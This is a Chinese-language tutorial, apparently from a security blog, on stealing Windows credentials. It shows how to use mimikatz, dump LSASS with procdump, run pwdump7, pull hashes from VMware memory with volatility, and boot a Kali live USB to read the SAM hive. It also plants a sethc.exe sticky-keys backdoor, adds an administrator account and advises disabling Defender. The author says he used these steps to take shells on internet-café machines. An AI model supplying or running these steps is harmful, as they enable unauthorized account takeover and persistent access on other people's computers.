在渗透测试过程中,我们常常需要获取管理员的账号密码,以便进行进一步的操作。下面我将总结几种窃取账号的方法,其中可能涉及到APT的内容,希望大家会喜欢。
[本教程具有一定攻击性,仅限于教学使用,不得用于其他用途]
0x01. 利用mimikatz获取明文密码
实验环境:
Windows 10 // (Win 10中有Defender会杀掉我们的mimikatz,关掉就好)
mimikatz_trunk //
实验步骤:
1、首先用管理员账号运行cmd.exe,这样才能让mimikatz正常运行 🙂
2、紧接着再进入mimikatz,运行命令privilege::debug sekurlsa::logonpasswords
3、此时我们就能得到username和password的密文,给大家推荐个网站:这里可以很容易地解密大多数密文
0x02. 利用procdump & mimikatz获取密码
实验环境:
Windows 7
procdump //
mimikatz_trunk
实验步骤:
1、首先用procdump下载LSASS进程的内存,因为procdump是Microsoft Sysinternals tools中的工具,所以AV是不会查杀它的(记住用管理员运行cmd)
C:\Users\times0ng\Desktop\Procdump\procdump.exe -accepteula -ma lsass.exe C:\Users\times0ng\Desktop\lsass.dmp
2、接着用mimikatz打开dmp文件,获取内存中的内容 //(lsass.dmp可以下载到我们本地主机再查看里面的内容,相当于离线模式)
C:\Users\times0ng\Desktop\mimikatz_trunk\x64\mimikatz.exe sekurlsa::minidump C:\Users\times0ng\Desktop\lsass.dmp sekurlsa::tspkg
0x03. 利用pwdump7获取密码
实验环境:
Windows 7
pwdump7 //
实验步骤:
1、直接用管理员运行cmd,再运行pwdump7.exe
2、用hashcat直接跑NTLM密码
hashcat -m 1000 AFC44EE7351D61D00698796DA06B1EBF /usr/share/wordlists/sqlmap.txt –force
0x04. 利用虚拟机文件获取密码
关于如何用工具直接获取密码就介绍到这里,其实还不止以上这些工具可以帮助我们达到目的,例如:PowerMemory: quarks pwdump: 等都是不错的工具,不过我觉得以上介绍的已经足够大家使用,贪多嚼不烂,下面我将介绍其他不同于上述的方法获取hash密码!
接下来我们将获取Windows 7虚拟机中的账号密码,首先需要将虚拟机挂起,这样才能产生.vmss和.vmem文件!这两个文件主要是用来获取内存数据的,如果用其他工具能够获取内存数据的话完全可以不用这两个文件,例如:Memoryze: DumpIt:
实验环境:
Windows 7挂起状态
Vmss2core //#summary
Volatility //
实验步骤:
1、运行Vmss2core解析虚拟机文件,生成memory.dmp文件
./vmss2core-mac64 -W /Users/apple1/Documents/Virtual Machines.localized/Windows 7 x64.vmwarevm/Windows 7 x64-89925192.vmss /Users/apple1/Documents/Virtual Machines.localized/Windows 7 x64.vmwarevm/Windows 7 x64-89925192.vmem
2、利用大神级取证工具volatility获取SYSTEM和SAM的虚拟地址,–profile=Win7SP1x64架构一定要指定正确,不然会找不到地址
./volatility2.6mac64standalone/volatility2.6mac64standalone hivelist -f memory.dmp –profile=Win7SP1x64
3、接下来要做的就是获取对应地址的数据了,记住sys-offset和sam-offset指定的都是虚拟地址,别乱指什么物理地址,可以看到我这里有两个用户账号,它们的NTML hash都被我拿到了,随便找点工具解密就行了,上面也讲过hashcat解密!
./volatility2.6mac64standalone/volatility2.6mac64standalone hashdump -f memory.dmp –profile=Win7SP1x64 sys-offset=0xfffff8a000024010 sam-offset=0xfffff8a000b33010
0x05. 利用kali ISO获取密码
这是我最喜欢使用的方法,也是我最早掌握的方法。说个题外话:当初我还利用这个方法在网吧免费上网,甚至因为网吧的局域网Win7环境我还拿到几台肉鸡shell,不过只是玩玩没干坏事。
在开始之前,我们应该先准备一个USB启动盘,制作方法可以看我以前的文章:安装KVM入坑笔记/。不过我现在只是为了演示一下效果,就直接使用VM虚拟机插入ISO文件模拟USB启动盘。
实验环境:
Windows 10
kali ISO //下载地址
实验步骤:
1、首先将kali ISO镜像文件映射到Win10虚拟机中(如果你是用USB启动盘插入物理机的话,需要先进入BIOS引导界面,然后修改启动顺序,将USB放到硬盘之前)
2、然后启动Win10就会进入kali的引导界面,我们点击Live (amd64)即可
3、进入kali之后,先查看Win10在哪个硬盘(一般就是size最大的那个盘),然后将其挂载到/mnt目录下,之后对/mnt目录下的操作就相当于对Win10进行操作了
fdisk -l && mount /dev/sda2 /mnt && cd /mnt/
4、挂载完之后,我们先盗取账号密码【Win10果然更安全了,居然显示是空密码,这显然不是我们要的结果,第二张图附上Win7的效果图】
cd /mnt/Windows/System32/config/ && samdump2 SYSTEM SAM
hashcat -m 1000 afc44ee7351d61d00698796da06b1ebf /usr/share/wordlists/sqlmap.txt –force
5、虽然Win10密码安全性加强了,但并不阻碍我们进行其他操作。下面我们使用经典的shift提权技术来完成进一步操作,上一篇Windows提权基础:提权基础(下)/讲漏了,这里补上
cd /mnt/Windows/System32/
cp cmd.exe sethc.exe
6、OK,现在需要做的就是关闭kali,将映射到Win10的ISO移除,然后启动Win10。可以看到登录界面,此时我们连续快速地多次按shift键就能弹出命令行
7、我们的权限这么大,想必添加个管理员账号什么的也不成问题。下面我添加个test管理员账号,然后登录。一进去就碰到Win10给我各种Hi,看得我一脸懵逼
net user test test /add
net localgroup administrators /add test
logoff
8、刚才我们没能抓到Win10的hash,但是如果我们仍然想登录times0ng账号的话,可以先用命令行修改密码,然后再登录。【很尴尬,自己的ID都敲错了】
net user times0ng toor
0x06. 结语
希望大家喜欢我自制的Windows系列教程,后续我将给大家带来更多更有趣的技巧!如果对上述操作步骤不是很懂或者想看一下视频演示的读者,可以观看我自制的视频教程。只需在信安之路公众号后台回复本视频编号:001,即可获取视频百度云链接和解压密码。
信安之路新业务
为了提升作者团队的优势,我们推出了原创视频付费观看服务。只有作者团队的成员可以录制视频,分享在知识星球,供大家通过一元查看主题的方式为作者团队付出劳动的作者提供一点金钱上的奖励。这个收入是直接付费给主题发布者,也就是原创作者的帐号上面。所以多多支持作者的辛苦劳动,让作者们给大家带来更多更好的精彩内容。同时,也欢迎大家努力加入我们的作者团队,在一起交流学习提升技术的基础上增加一些额外的收入。